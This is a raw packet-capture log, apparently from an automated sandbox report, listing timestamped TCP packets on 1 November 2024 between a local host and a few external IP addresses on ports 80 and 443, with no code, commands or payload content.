Nov 1, 2024 08:51:26.944943905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.944948912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.944957018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.944963932 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.944971085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.944983959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.944988012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.944996119 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945007086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945019960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945028067 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945031881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945039034 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945048094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945050001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945065022 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945069075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945086956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945091963 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945100069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945108891 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945112944 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945125103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945130110 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945137978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945147038 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945152044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945164919 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945178032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945188999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945194960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945199013 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945200920 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945213079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945213079 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945229053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945240021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945242882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945255041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945266008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945276976 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945278883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945290089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945296049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945307016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945312977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945319891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945331097 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945331097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945343018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945358992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945360899 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945374966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945382118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945388079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945400000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945400000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945411921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945424080 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945424080 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945436001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945447922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945450068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945460081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945467949 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945472956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945483923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945491076 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945496082 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945508957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.945524931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945548058 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.945565939 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.950426102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.950437069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.950448036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.950489044 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.950514078 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.958354950 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.958440065 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.958442926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.958465099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.958477974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.958486080 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.958489895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.958501101 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.958503962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.958518982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.958519936 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.958528996 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.958533049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.958548069 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.958575964 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.992548943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.992563009 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.992574930 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:26.992639065 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:26.992660046 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.021338940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.021349907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.021390915 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.021399975 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.021414995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.021431923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.067883015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.067931890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.067944050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.067971945 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.068011045 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.068052053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.068092108 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.075937986 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.075957060 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.075969934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.075988054 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.076009989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.076061010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.076073885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.076086044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.076106071 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.076112032 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.076118946 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.076134920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.076165915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.110286951 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.110301971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.110312939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.110388994 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.139071941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.139085054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.139096022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.139154911 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.185518026 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.185530901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.185540915 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.185561895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.185573101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.185585022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.185599089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.185641050 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.193572998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193583012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193589926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193597078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193629026 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.193650007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193654060 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.193662882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193675041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193686962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193689108 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.193701029 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.193720102 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.193751097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.227864027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.227897882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.227904081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.228013039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.256937027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.257039070 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.257107019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.257119894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.257169008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.257169008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.303299904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.303317070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.303328991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.303358078 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.303397894 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.303428888 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.303448915 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.303461075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.303488970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.303488970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.303531885 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.311343908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.311420918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.311521053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.311532021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.311542988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.311558008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.311570883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.311580896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.311583042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.311580896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.311599016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.311619043 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.311650991 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.345468998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.345489979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.345504045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.345536947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.345576048 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.374579906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.374609947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.374619961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.374629974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.374651909 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.374695063 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.420981884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.421003103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.421013117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.421053886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.421057940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.421065092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.421076059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.421084881 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.421111107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.428797007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.428855896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.428910971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.428922892 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.428932905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.428946018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.428960085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.428961992 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.428971052 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.428981066 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.428985119 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.428998947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.429003954 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.429020882 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.429045916 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.462899923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.462912083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.462922096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.462934971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.462956905 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.462999105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.462999105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.492319107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.492341995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.492353916 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.492378950 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.492405891 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.538559914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.538606882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.538618088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.538664103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.538698912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.546303988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546327114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546336889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546361923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.546381950 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.546382904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546399117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546422958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.546433926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546444893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546446085 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.546459913 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546477079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546484947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.546489954 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546502113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546504021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.546513081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.546526909 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.546555996 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.580565929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.580579042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.580590010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.580739975 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:27.609855890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.609875917 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.609888077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:27.609967947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:29.623389959 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:29.623425961 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:29.623606920 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:29.624691963 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:29.624708891 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:29.869345903 CET	57653	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:29.869599104 CET	57773	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:29.874337912 CET	80	57773	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:29.874643087 CET	80	57653	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:29.874713898 CET	57653	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:29.875125885 CET	57773	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:29.875125885 CET	57773	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:29.879944086 CET	80	57773	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:30.241621017 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:30.241751909 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:30.243575096 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:30.243585110 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:30.243855953 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:30.289470911 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:30.305104017 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:30.305131912 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:30.305233955 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:31.508759975 CET	80	57773	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:31.508825064 CET	57773	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:31.508927107 CET	80	57773	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:31.508959055 CET	80	57773	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:31.508980036 CET	57773	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:31.508991957 CET	57773	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:31.509129047 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:31.509234905 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:31.509285927 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:31.511729002 CET	57770	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:31.511745930 CET	443	57770	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:31.522217989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:31.522490025 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:31.527201891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:31.527216911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:31.527287006 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:31.527307987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:31.527914047 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:31.532692909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:31.571134090 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:31.571180105 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:31.571258068 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:31.571533918 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:31.571542978 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.182830095 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.182925940 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.184247971 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.184261084 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.184510946 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.185792923 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.185811996 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.185889006 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.463530064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463582993 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463609934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463627100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463643074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463659048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463675022 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463671923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.463713884 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.463757038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.463804960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463821888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463838100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.463848114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.463864088 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.463893890 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.468594074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.468624115 CET	80	57777	185.215.113.16	192.168.2.4
